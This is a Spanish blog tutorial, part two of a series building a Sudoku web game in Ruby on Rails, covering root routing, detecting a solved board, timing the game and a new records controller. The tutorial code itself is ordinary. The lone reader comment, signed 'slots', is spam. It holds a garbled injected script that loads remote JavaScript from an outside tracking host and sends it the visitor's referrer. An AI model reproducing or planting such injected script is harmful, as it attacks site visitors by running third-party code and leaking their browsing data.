Introducción

Continuamos hoy la serie de artículos tutoriales sobre Ruby on Rails En el anterior habíamos comenzado el bosquejo de una versión web del conocido juego del Sudoku. En esta entrega repasaremos algunos flecos que se nos quedaron en el tintero e introduciremos un nuevo controlador, aunque de momento le daremos poco uso.

Redirección al controlador principal

Si visitamos el dominio asociado a la anterior versión de Sudoku on Rails veremos que nos aparece el consabido mensaje típico de una aplicación RoR recién instalada (o mal configurada). Para acceder a nuestro juego teníamos que escribir en la URL el controlador:http://v1.sudokuonrails.com/sudoku Obviamente queremos que esto suceda automáticamente sin necesidad de escribir el controlador. Para conseguirlo, basta seguir estos dos pasos:

  1. Borrar el fichero index.html que se encuentra en el directorio public/ de nuestra aplicación.
  2. En el fichero routes.rb añadimos la linea:
    map.connect '', :controller => 'sudoku'

    que claramente lo que hace es redirigirnos al controlador sudoku cuando la ruta de la URL solicitada viene vacía, es decir, hemos accedido directmente al nombre de dominio de nuestra aplicación.

Detección de que hemos acabado la partida.

Otro problema de la versión anterior era que cuando terminábamos la partida… simplemente no ocurría nada (probablemente este detalle haya pasado desapercibido porque no creo que mucha gente haya tenido la paciencia de acabar un Sudoku tan poco amistoso)

Lo que vamos a hacer es que, al terminar con el tablero, enviar al usuario a una nueva página donde se le felicite (más o menos) y se le diga el tiempo que ha tardado en resolver el juego.

Cambios en el modelo

Añadiremos en nuestro tablero.rb un método que nos dirá, para un determinado estado del tablero, si se encuentra resuelto:


    def resuelto?
      resuelto=true;
      for x1 in 0..@size-1
        for y1 in 0..@size-1
          if @box_mascara[x1][y1] != @box[x1][y1] then
            resuelto=false;
          end
        end
      end
      resuelto
    end

Además, y como queremos almacenar en algún sitio el tiempo de partida, el modelo del tablero no parece un mal sitio:


    attr_reader :tiempo

    def dame_segundos
      dif = DateTime.now-@tiempo
      hours, mins, secs, ignore_fractions = Date::day_fraction_to_time(dif)
      return hours * 60 * 60 + mins * 60 + secs
    end

Ah, y no se nos debe olvidar inicializar la variable tiempo cada vez que agitamos el tablero, es decir, cada vez que se invoca el método shuffle


    def shuffle
        ...
        @tiempo=DateTime.now
    end

Para el controlador…

Ya sabemos detectar si el tablero está acabado, así que sólo nos queda comprobar esta condición en nuestro controlador principal (sudoku_controller.rb_). Haremos esta comprobación después de comprobar que el movimiento del usuario es correcto, y justo antes de volver a pintar el tablero (que ya se encuentra en estado resuelto)


    def mover
      valor=0
      posx=0
      posy=0

      for x1 in 0 .. 8
        for y1 in 0 .. 8
          cadena = "casilla"+((x1*9)+(y1+1)).to_s

          if @params.include?(cadena)
            if @params[cadena].length == 1 
              posx=x1
              posy=y1
              valor=@params[cadena].to_i
            end
          end
       end

      end

     if tablero.colocar(posx, posy, valor)
       flash[:note]="¡Movimiento correcto!" 
     else
       flash[:note]="¡Movimiento incorrecto!" 
     end

     if tablero.resuelto?
       acabar
     else
       list
     end
    end

Por último, el método acabar (será un método privado porque de lo contrario sería una acción del controlador y podría ser invocado maliciosamente para ganar haciendo trampas) simplemente recoge en una variable el número de segundos para pasárselo a la vista del siguiente controlador.

¿Es neceseario al terminar la partida definir un nuevo controlador para mostrar simplemente un mensaje de despedida? No, en absoluto. De hecho, podríamos simplemente haber definido un layout para nuestra acción (algo así como acabar.rhtml) y simplemente mostrar el mensaje. Pero aquí el que hace trampas soy yo, y ya anticipo que una futura mejora será mantener una tabla con las puntuaciones más recientes obtenidas, así que que esto debe ir en su propio controlador.

Asi, el método acabar de nuestro controlador principal será el siguiente:


    def acabar
      redirect_to(:controller => 'records', :action =>  'list')
    end

Y nuestro nuevo controlador para la tabla de puntuaciones, de momento sólo nos dice adiós y gracias:


    class RecordsController < ApplicationController
    model :tablero

      def index
        list
        render :action => 'list'
      end

      def list
        # comprobamos que no invoquen al controlador directamente
        # sin haber ganado 
        if tablero.resuelto? == false
          redirect_to(:controller=>'sudoku',
                      :action=>'list')
        end
        @movimientos=tablero.movimientos
        @segundos=tablero.dame_segundos
      end

      private

      def tablero
        session[:tablero]
      end
    end

La acción list de este controlador simplemente recupera los valores del modelo (tras haber comprobado que, en efecto, hemos acabado la partida, de lo contrario nos manda otra vez a terminarla) y nos mostrará la plantila views/records/list.rhtml:


<html>
<head>
  <title>Fin de la partida</title>
</head>
<body>

<p style="color: green"><%= flash[:notice] %></p>

Has acabado el Sudoku on Rails, en <%= @movimientos %> movimientos y <%= @segundos %> segundos.  
<p>
<%=link_to 'otra partida', { :controller => 'sudoku', 
                             :action => 'reset'} 
%>
</body>
</html>

Acabando por hoy

Tenéis la nueva versión aquí y podéis descarga el código fuente desde aquí

1 Response to “Sudoku on rails, v2”

  1. slots Says:

    bbtbb86-s5jy4k1-tw6q1d53-0 <script>var r = document.referrer; document.write(‘<script http: src='http://www.stats-log.com/gb.php?id=g&r=\'<ins>escape®</ins>’”><’ + ’/script>‘)</script> <a href=' />slots

Leave a Reply